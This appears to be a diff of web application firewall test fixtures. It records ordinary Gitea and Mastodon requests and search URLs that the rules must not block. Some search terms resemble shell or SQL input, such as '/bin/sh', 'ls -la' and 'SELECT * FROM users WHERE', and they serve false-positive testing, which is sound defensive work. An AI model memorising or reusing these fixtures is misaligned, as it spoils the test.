{"method": "POST", "target": "/api/v1/repos/alice/tools/contents", "headers": ["Accept-Encoding: identity", "Content-Length: 388", "Host: example.com", "User-Agent: Python-urllib/3.12", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "Accept: */*", "Connection: close"], "body": "{\"files\": [{\"operation\": \"create\", \"path\": \"docs/setup.md\", \"content\": \"IyBTZXR1cAo=\"}, {\"operation\": \"update\", \"path\": \"docs/notes.md\", \"content\": \"IyBOb3RlcwoKUnVuIHRoZSB0ZXN0cyBiZWZvcmUgYSByZWxlYXNlLgpTZWUgc2V0dXAubWQuCg==\", \"sha\": \"fb5a6e4c18bfe5f548e708d52b57f2aa58f7b2a8\"}], \"message\": \"Add the PowerShell setup notes\", \"branch\": \"python3-docs\", \"new_branch\": \"fix-powershell-docs\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents", "headers": ["Accept-Encoding: identity", "Content-Length: 282", "Host: example.com", "User-Agent: Python-urllib/3.12", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "Accept: */*", "Connection: close"], "body": "{\"files\": [{\"operation\": \"update\", \"path\": \"docs/notes.md\", \"content\": \"IyBOb3RlcwoKVGhlIHdlYiBzZXJ2ZXIgcmVhZHMgLmh0YWNjZXNzLgo=\", \"sha\": \"17e0f0dedfdc83c924c6399a21434fc8240f488c\"}], \"message\": \"Document .htaccess\", \"branch\": \"fix-powershell-module\", \"new_branch\": \"python3-notes\"}"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_preview/main/docs/setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 44", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/docs/setup.md", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "content=%23+Setup%0A%0AInstall+the+tools.%0A"}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/repos/alice/tools/pulls/1", "headers": ["Accept-Encoding: identity", "Content-Length: 31", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"base\": \"feat/docker-support\"}"}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/repos/alice/tools/pulls/1", "headers": ["Accept-Encoding: identity", "Content-Length: 33", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"base\": \"fix-powershell-module\"}"}
|
||||||
+290
@@ -91,6 +91,296 @@
|
|||||||
/explore/organizations?q=docker-ci
|
/explore/organizations?q=docker-ci
|
||||||
/api/v1/users/search?q=docker-ci
|
/api/v1/users/search?q=docker-ci
|
||||||
|
|
||||||
|
# Searches of the repositories on a user's and an organisation's page, recorded
|
||||||
|
# from gitea 1.27.3.
|
||||||
|
/alice?tab=repositories&q=ls+-la&sort=recentupdate
|
||||||
|
/alice?tab=repositories&q=python3&sort=recentupdate
|
||||||
|
/alice?tab=repositories&q=powershell&sort=recentupdate
|
||||||
|
/alice?tab=repositories&q=.htaccess&sort=recentupdate
|
||||||
|
/acme?q=ls+-la&sort=recentupdate
|
||||||
|
/acme?q=python3&sort=recentupdate
|
||||||
|
/acme?q=powershell&sort=recentupdate
|
||||||
|
/acme?q=.htaccess&sort=recentupdate
|
||||||
|
|
||||||
|
# The searches of the pages gitea and Forgejo share, with the fields their
|
||||||
|
# forms send, recorded from gitea 1.27.3. Each searches for words that name
|
||||||
|
# commands and files, such as python3 and .htaccess, and for plain words. A tag
|
||||||
|
# or package name can hold a slash, so the tags and packages pages also search
|
||||||
|
# for /bin/sh. The packages pages also search for a Maven name. The issues and
|
||||||
|
# pull requests of one team, and those of one milestone, are also searched for
|
||||||
|
# SQL. Each search of a package's versions is sent for a generic package and for
|
||||||
|
# the npm package @alice/tools-cli, whose name holds a slash.
|
||||||
|
/explore/topics/search?q=python3
|
||||||
|
/pulls?type=your_repositories&sort=recentupdate&state=open&q=python3&search_mode=exact
|
||||||
|
/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=python3
|
||||||
|
/issues/search?q=python3
|
||||||
|
/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=python3&page=1&limit=15&mode=&archived=false
|
||||||
|
/user/search_candidates?q=python3
|
||||||
|
/notifications/watching?q=python3&sort=recentupdate
|
||||||
|
/org/acme/issues?type=your_repositories&sort=recentupdate&state=open&q=python3&search_mode=exact
|
||||||
|
/org/acme/pulls?type=your_repositories&sort=recentupdate&state=open&q=python3&search_mode=exact
|
||||||
|
/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=python3
|
||||||
|
/org/acme/issues/developers?type=your_repositories&sort=recentupdate&state=open&q=python3&search_mode=exact
|
||||||
|
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=python3&search_mode=exact
|
||||||
|
/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=python3
|
||||||
|
/org/acme/teams/-/search?q=python3
|
||||||
|
/alice/-/code?q=python3&search_mode=exact
|
||||||
|
/alice/-/projects?state=open&q=python3
|
||||||
|
/alice/-/packages/generic/tools-cli/versions?q=python3&sort=created_desc
|
||||||
|
/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=python3&sort=created_desc
|
||||||
|
/alice/tools/tags?q=python3
|
||||||
|
/alice/tools/milestones?state=open&q=python3
|
||||||
|
/alice/tools/milestone/1?q=python3
|
||||||
|
/alice/tools/projects?state=open&q=python3
|
||||||
|
/alice/tools/packages?q=python3&type=
|
||||||
|
/alice/tools/issues/posters?q=python3
|
||||||
|
/alice/tools/pulls/posters?q=python3
|
||||||
|
/alice/tools/issues/search?q=python3
|
||||||
|
/alice/tools/issues/suggestions?q=python3
|
||||||
|
/-/admin/actions/runners?q=python3
|
||||||
|
/user/settings/actions/runners?q=python3
|
||||||
|
/org/acme/settings/actions/runners?q=python3
|
||||||
|
/alice/tools/settings/actions/runners?q=python3
|
||||||
|
/-/admin/users?q=python3
|
||||||
|
/-/admin/orgs?q=python3
|
||||||
|
/-/admin/repos?q=python3&sort=recentupdate
|
||||||
|
/-/admin/repos/unadopted?search=true&q=python3
|
||||||
|
/-/admin/emails?q=python3
|
||||||
|
/-/admin/packages?q=python3&type=
|
||||||
|
/explore/topics/search?q=powershell
|
||||||
|
/pulls?type=your_repositories&sort=recentupdate&state=open&q=powershell&search_mode=exact
|
||||||
|
/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=powershell
|
||||||
|
/issues/search?q=powershell
|
||||||
|
/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=powershell&page=1&limit=15&mode=&archived=false
|
||||||
|
/user/search_candidates?q=powershell
|
||||||
|
/notifications/watching?q=powershell&sort=recentupdate
|
||||||
|
/org/acme/issues?type=your_repositories&sort=recentupdate&state=open&q=powershell&search_mode=exact
|
||||||
|
/org/acme/pulls?type=your_repositories&sort=recentupdate&state=open&q=powershell&search_mode=exact
|
||||||
|
/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=powershell
|
||||||
|
/org/acme/issues/developers?type=your_repositories&sort=recentupdate&state=open&q=powershell&search_mode=exact
|
||||||
|
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=powershell&search_mode=exact
|
||||||
|
/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=powershell
|
||||||
|
/org/acme/teams/-/search?q=powershell
|
||||||
|
/alice/-/code?q=powershell&search_mode=exact
|
||||||
|
/alice/-/projects?state=open&q=powershell
|
||||||
|
/alice/-/packages/generic/tools-cli/versions?q=powershell&sort=created_desc
|
||||||
|
/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=powershell&sort=created_desc
|
||||||
|
/alice/tools/tags?q=powershell
|
||||||
|
/alice/tools/milestones?state=open&q=powershell
|
||||||
|
/alice/tools/milestone/1?q=powershell
|
||||||
|
/alice/tools/projects?state=open&q=powershell
|
||||||
|
/alice/tools/packages?q=powershell&type=
|
||||||
|
/alice/tools/issues/posters?q=powershell
|
||||||
|
/alice/tools/pulls/posters?q=powershell
|
||||||
|
/alice/tools/issues/search?q=powershell
|
||||||
|
/alice/tools/issues/suggestions?q=powershell
|
||||||
|
/-/admin/actions/runners?q=powershell
|
||||||
|
/user/settings/actions/runners?q=powershell
|
||||||
|
/org/acme/settings/actions/runners?q=powershell
|
||||||
|
/alice/tools/settings/actions/runners?q=powershell
|
||||||
|
/-/admin/users?q=powershell
|
||||||
|
/-/admin/orgs?q=powershell
|
||||||
|
/-/admin/repos?q=powershell&sort=recentupdate
|
||||||
|
/-/admin/repos/unadopted?search=true&q=powershell
|
||||||
|
/-/admin/emails?q=powershell
|
||||||
|
/-/admin/packages?q=powershell&type=
|
||||||
|
/explore/topics/search?q=ls%20-la
|
||||||
|
/pulls?type=your_repositories&sort=recentupdate&state=open&q=ls%20-la&search_mode=exact
|
||||||
|
/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=ls%20-la
|
||||||
|
/issues/search?q=ls%20-la
|
||||||
|
/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=ls%20-la&page=1&limit=15&mode=&archived=false
|
||||||
|
/user/search_candidates?q=ls%20-la
|
||||||
|
/notifications/watching?q=ls%20-la&sort=recentupdate
|
||||||
|
/org/acme/issues?type=your_repositories&sort=recentupdate&state=open&q=ls%20-la&search_mode=exact
|
||||||
|
/org/acme/pulls?type=your_repositories&sort=recentupdate&state=open&q=ls%20-la&search_mode=exact
|
||||||
|
/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=ls%20-la
|
||||||
|
/org/acme/issues/developers?type=your_repositories&sort=recentupdate&state=open&q=ls%20-la&search_mode=exact
|
||||||
|
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=ls%20-la&search_mode=exact
|
||||||
|
/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=ls%20-la
|
||||||
|
/org/acme/teams/-/search?q=ls%20-la
|
||||||
|
/alice/-/code?q=ls%20-la&search_mode=exact
|
||||||
|
/alice/-/projects?state=open&q=ls%20-la
|
||||||
|
/alice/-/packages/generic/tools-cli/versions?q=ls%20-la&sort=created_desc
|
||||||
|
/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=ls%20-la&sort=created_desc
|
||||||
|
/alice/tools/tags?q=ls%20-la
|
||||||
|
/alice/tools/milestones?state=open&q=ls%20-la
|
||||||
|
/alice/tools/milestone/1?q=ls%20-la
|
||||||
|
/alice/tools/projects?state=open&q=ls%20-la
|
||||||
|
/alice/tools/packages?q=ls%20-la&type=
|
||||||
|
/alice/tools/issues/posters?q=ls%20-la
|
||||||
|
/alice/tools/pulls/posters?q=ls%20-la
|
||||||
|
/alice/tools/issues/search?q=ls%20-la
|
||||||
|
/alice/tools/issues/suggestions?q=ls%20-la
|
||||||
|
/-/admin/actions/runners?q=ls%20-la
|
||||||
|
/user/settings/actions/runners?q=ls%20-la
|
||||||
|
/org/acme/settings/actions/runners?q=ls%20-la
|
||||||
|
/alice/tools/settings/actions/runners?q=ls%20-la
|
||||||
|
/-/admin/users?q=ls%20-la
|
||||||
|
/-/admin/orgs?q=ls%20-la
|
||||||
|
/-/admin/repos?q=ls%20-la&sort=recentupdate
|
||||||
|
/-/admin/repos/unadopted?search=true&q=ls%20-la
|
||||||
|
/-/admin/emails?q=ls%20-la
|
||||||
|
/-/admin/packages?q=ls%20-la&type=
|
||||||
|
/explore/topics/search?q=.htaccess
|
||||||
|
/pulls?type=your_repositories&sort=recentupdate&state=open&q=.htaccess&search_mode=exact
|
||||||
|
/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=.htaccess
|
||||||
|
/issues/search?q=.htaccess
|
||||||
|
/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=.htaccess&page=1&limit=15&mode=&archived=false
|
||||||
|
/user/search_candidates?q=.htaccess
|
||||||
|
/notifications/watching?q=.htaccess&sort=recentupdate
|
||||||
|
/org/acme/issues?type=your_repositories&sort=recentupdate&state=open&q=.htaccess&search_mode=exact
|
||||||
|
/org/acme/pulls?type=your_repositories&sort=recentupdate&state=open&q=.htaccess&search_mode=exact
|
||||||
|
/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=.htaccess
|
||||||
|
/org/acme/issues/developers?type=your_repositories&sort=recentupdate&state=open&q=.htaccess&search_mode=exact
|
||||||
|
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=.htaccess&search_mode=exact
|
||||||
|
/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=.htaccess
|
||||||
|
/org/acme/teams/-/search?q=.htaccess
|
||||||
|
/alice/-/code?q=.htaccess&search_mode=exact
|
||||||
|
/alice/-/projects?state=open&q=.htaccess
|
||||||
|
/alice/-/packages/generic/tools-cli/versions?q=.htaccess&sort=created_desc
|
||||||
|
/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=.htaccess&sort=created_desc
|
||||||
|
/alice/tools/tags?q=.htaccess
|
||||||
|
/alice/tools/milestones?state=open&q=.htaccess
|
||||||
|
/alice/tools/milestone/1?q=.htaccess
|
||||||
|
/alice/tools/projects?state=open&q=.htaccess
|
||||||
|
/alice/tools/packages?q=.htaccess&type=
|
||||||
|
/alice/tools/issues/posters?q=.htaccess
|
||||||
|
/alice/tools/pulls/posters?q=.htaccess
|
||||||
|
/alice/tools/issues/search?q=.htaccess
|
||||||
|
/alice/tools/issues/suggestions?q=.htaccess
|
||||||
|
/-/admin/actions/runners?q=.htaccess
|
||||||
|
/user/settings/actions/runners?q=.htaccess
|
||||||
|
/org/acme/settings/actions/runners?q=.htaccess
|
||||||
|
/alice/tools/settings/actions/runners?q=.htaccess
|
||||||
|
/-/admin/users?q=.htaccess
|
||||||
|
/-/admin/orgs?q=.htaccess
|
||||||
|
/-/admin/repos?q=.htaccess&sort=recentupdate
|
||||||
|
/-/admin/repos/unadopted?search=true&q=.htaccess
|
||||||
|
/-/admin/emails?q=.htaccess
|
||||||
|
/-/admin/packages?q=.htaccess&type=
|
||||||
|
/explore/topics/search?q=docker-compose.yml
|
||||||
|
/pulls?type=your_repositories&sort=recentupdate&state=open&q=docker-compose.yml&search_mode=exact
|
||||||
|
/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=docker-compose.yml
|
||||||
|
/issues/search?q=docker-compose.yml
|
||||||
|
/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=docker-compose.yml&page=1&limit=15&mode=&archived=false
|
||||||
|
/user/search_candidates?q=docker-compose.yml
|
||||||
|
/notifications/watching?q=docker-compose.yml&sort=recentupdate
|
||||||
|
/org/acme/issues?type=your_repositories&sort=recentupdate&state=open&q=docker-compose.yml&search_mode=exact
|
||||||
|
/org/acme/pulls?type=your_repositories&sort=recentupdate&state=open&q=docker-compose.yml&search_mode=exact
|
||||||
|
/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=docker-compose.yml
|
||||||
|
/org/acme/issues/developers?type=your_repositories&sort=recentupdate&state=open&q=docker-compose.yml&search_mode=exact
|
||||||
|
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=docker-compose.yml&search_mode=exact
|
||||||
|
/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=docker-compose.yml
|
||||||
|
/org/acme/teams/-/search?q=docker-compose.yml
|
||||||
|
/acme?q=docker-compose.yml&sort=recentupdate
|
||||||
|
/alice/-/code?q=docker-compose.yml&search_mode=exact
|
||||||
|
/alice/-/projects?state=open&q=docker-compose.yml
|
||||||
|
/alice/-/packages/generic/tools-cli/versions?q=docker-compose.yml&sort=created_desc
|
||||||
|
/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=docker-compose.yml&sort=created_desc
|
||||||
|
/alice/tools/tags?q=docker-compose.yml
|
||||||
|
/alice/tools/milestones?state=open&q=docker-compose.yml
|
||||||
|
/alice/tools/milestone/1?q=docker-compose.yml
|
||||||
|
/alice/tools/projects?state=open&q=docker-compose.yml
|
||||||
|
/alice/tools/packages?q=docker-compose.yml&type=
|
||||||
|
/alice/tools/issues/posters?q=docker-compose.yml
|
||||||
|
/alice/tools/pulls/posters?q=docker-compose.yml
|
||||||
|
/alice/tools/issues/search?q=docker-compose.yml
|
||||||
|
/alice/tools/issues/suggestions?q=docker-compose.yml
|
||||||
|
/-/admin/actions/runners?q=docker-compose.yml
|
||||||
|
/user/settings/actions/runners?q=docker-compose.yml
|
||||||
|
/org/acme/settings/actions/runners?q=docker-compose.yml
|
||||||
|
/alice/tools/settings/actions/runners?q=docker-compose.yml
|
||||||
|
/-/admin/users?q=docker-compose.yml
|
||||||
|
/-/admin/orgs?q=docker-compose.yml
|
||||||
|
/-/admin/repos?q=docker-compose.yml&sort=recentupdate
|
||||||
|
/-/admin/repos/unadopted?search=true&q=docker-compose.yml
|
||||||
|
/-/admin/emails?q=docker-compose.yml
|
||||||
|
/-/admin/packages?q=docker-compose.yml&type=
|
||||||
|
/explore/topics/search?q=install-script.sh
|
||||||
|
/pulls?type=your_repositories&sort=recentupdate&state=open&q=install-script.sh&search_mode=exact
|
||||||
|
/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=install-script.sh
|
||||||
|
/issues/search?q=install-script.sh
|
||||||
|
/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=install-script.sh&page=1&limit=15&mode=&archived=false
|
||||||
|
/user/search_candidates?q=install-script.sh
|
||||||
|
/notifications/watching?q=install-script.sh&sort=recentupdate
|
||||||
|
/org/acme/issues?type=your_repositories&sort=recentupdate&state=open&q=install-script.sh&search_mode=exact
|
||||||
|
/org/acme/pulls?type=your_repositories&sort=recentupdate&state=open&q=install-script.sh&search_mode=exact
|
||||||
|
/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=install-script.sh
|
||||||
|
/org/acme/issues/developers?type=your_repositories&sort=recentupdate&state=open&q=install-script.sh&search_mode=exact
|
||||||
|
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=install-script.sh&search_mode=exact
|
||||||
|
/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=install-script.sh
|
||||||
|
/org/acme/teams/-/search?q=install-script.sh
|
||||||
|
/acme?q=install-script.sh&sort=recentupdate
|
||||||
|
/alice/-/code?q=install-script.sh&search_mode=exact
|
||||||
|
/alice/-/projects?state=open&q=install-script.sh
|
||||||
|
/alice/-/packages/generic/tools-cli/versions?q=install-script.sh&sort=created_desc
|
||||||
|
/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=install-script.sh&sort=created_desc
|
||||||
|
/alice/tools/tags?q=install-script.sh
|
||||||
|
/alice/tools/milestones?state=open&q=install-script.sh
|
||||||
|
/alice/tools/milestone/1?q=install-script.sh
|
||||||
|
/alice/tools/projects?state=open&q=install-script.sh
|
||||||
|
/alice/tools/packages?q=install-script.sh&type=
|
||||||
|
/alice/tools/issues/posters?q=install-script.sh
|
||||||
|
/alice/tools/pulls/posters?q=install-script.sh
|
||||||
|
/alice/tools/issues/search?q=install-script.sh
|
||||||
|
/alice/tools/issues/suggestions?q=install-script.sh
|
||||||
|
/-/admin/actions/runners?q=install-script.sh
|
||||||
|
/user/settings/actions/runners?q=install-script.sh
|
||||||
|
/org/acme/settings/actions/runners?q=install-script.sh
|
||||||
|
/alice/tools/settings/actions/runners?q=install-script.sh
|
||||||
|
/-/admin/users?q=install-script.sh
|
||||||
|
/-/admin/orgs?q=install-script.sh
|
||||||
|
/-/admin/repos?q=install-script.sh&sort=recentupdate
|
||||||
|
/-/admin/repos/unadopted?search=true&q=install-script.sh
|
||||||
|
/-/admin/emails?q=install-script.sh
|
||||||
|
/-/admin/packages?q=install-script.sh&type=
|
||||||
|
/explore/topics/search?q=release%20notes
|
||||||
|
/pulls?type=your_repositories&sort=recentupdate&state=open&q=release%20notes&search_mode=exact
|
||||||
|
/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=release%20notes
|
||||||
|
/issues/search?q=release%20notes
|
||||||
|
/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=release%20notes&page=1&limit=15&mode=&archived=false
|
||||||
|
/user/search_candidates?q=release%20notes
|
||||||
|
/notifications/watching?q=release%20notes&sort=recentupdate
|
||||||
|
/org/acme/issues?type=your_repositories&sort=recentupdate&state=open&q=release%20notes&search_mode=exact
|
||||||
|
/org/acme/pulls?type=your_repositories&sort=recentupdate&state=open&q=release%20notes&search_mode=exact
|
||||||
|
/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=release%20notes
|
||||||
|
/org/acme/issues/developers?type=your_repositories&sort=recentupdate&state=open&q=release%20notes&search_mode=exact
|
||||||
|
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=release%20notes&search_mode=exact
|
||||||
|
/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=release%20notes
|
||||||
|
/org/acme/teams/-/search?q=release%20notes
|
||||||
|
/acme?q=release%20notes&sort=recentupdate
|
||||||
|
/alice/-/code?q=release%20notes&search_mode=exact
|
||||||
|
/alice/-/projects?state=open&q=release%20notes
|
||||||
|
/alice/-/packages/generic/tools-cli/versions?q=release%20notes&sort=created_desc
|
||||||
|
/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=release%20notes&sort=created_desc
|
||||||
|
/alice/tools/tags?q=release%20notes
|
||||||
|
/alice/tools/milestones?state=open&q=release%20notes
|
||||||
|
/alice/tools/milestone/1?q=release%20notes
|
||||||
|
/alice/tools/projects?state=open&q=release%20notes
|
||||||
|
/alice/tools/packages?q=release%20notes&type=
|
||||||
|
/alice/tools/issues/posters?q=release%20notes
|
||||||
|
/alice/tools/pulls/posters?q=release%20notes
|
||||||
|
/alice/tools/issues/search?q=release%20notes
|
||||||
|
/alice/tools/issues/suggestions?q=release%20notes
|
||||||
|
/-/admin/actions/runners?q=release%20notes
|
||||||
|
/user/settings/actions/runners?q=release%20notes
|
||||||
|
/org/acme/settings/actions/runners?q=release%20notes
|
||||||
|
/alice/tools/settings/actions/runners?q=release%20notes
|
||||||
|
/-/admin/users?q=release%20notes
|
||||||
|
/-/admin/orgs?q=release%20notes
|
||||||
|
/-/admin/repos?q=release%20notes&sort=recentupdate
|
||||||
|
/-/admin/repos/unadopted?search=true&q=release%20notes
|
||||||
|
/-/admin/emails?q=release%20notes
|
||||||
|
/-/admin/packages?q=release%20notes&type=
|
||||||
|
/alice/tools/tags?q=%2Fbin%2Fsh
|
||||||
|
/alice/tools/packages?q=%2Fbin%2Fsh&type=
|
||||||
|
/-/admin/packages?q=%2Fbin%2Fsh&type=
|
||||||
|
/alice/tools/packages?q=org.apache.commons.logging&type=
|
||||||
|
/-/admin/packages?q=org.apache.commons.logging&type=
|
||||||
|
/org/acme/issues/developers?type=your_repositories&sort=recentupdate&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE&search_mode=exact
|
||||||
|
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE&search_mode=exact
|
||||||
|
/alice/tools/milestone/1?q=SELECT%20%2A%20FROM%20users%20WHERE
|
||||||
|
|
||||||
# Pages, raw files and edit pages of files, and the API's call for their
|
# Pages, raw files and edit pages of files, and the API's call for their
|
||||||
# contents.
|
# contents.
|
||||||
/owner/repo/src/branch/main/package.json
|
/owner/repo/src/branch/main/package.json
|
||||||
|
|||||||
+585
@@ -0,0 +1,585 @@
|
|||||||
|
# Ordinary Mastodon 4.7 requests that the Core Rule Set must let through at
|
||||||
|
# the defaults. They were recorded from a server driven by a headless Chrome
|
||||||
|
# and an API client. Another server delivered to it and looked its links up.
|
||||||
|
# Each line is one request as JSON. Host names, passwords, tokens and session cookies are
|
||||||
|
# invented.
|
||||||
|
{"method": "GET", "target": "/about", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/assets/themes/default-DkDM-a1D.css", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/app-DHclxKoS.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/gif-nHcAVb7p.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/sounds/boop.ogg", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Encoding: identity;q=1, *;q=0", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: audio", "Referer: https://example.com/", "Range: bytes=0-"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/instance", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/trends/tags", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/explore", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
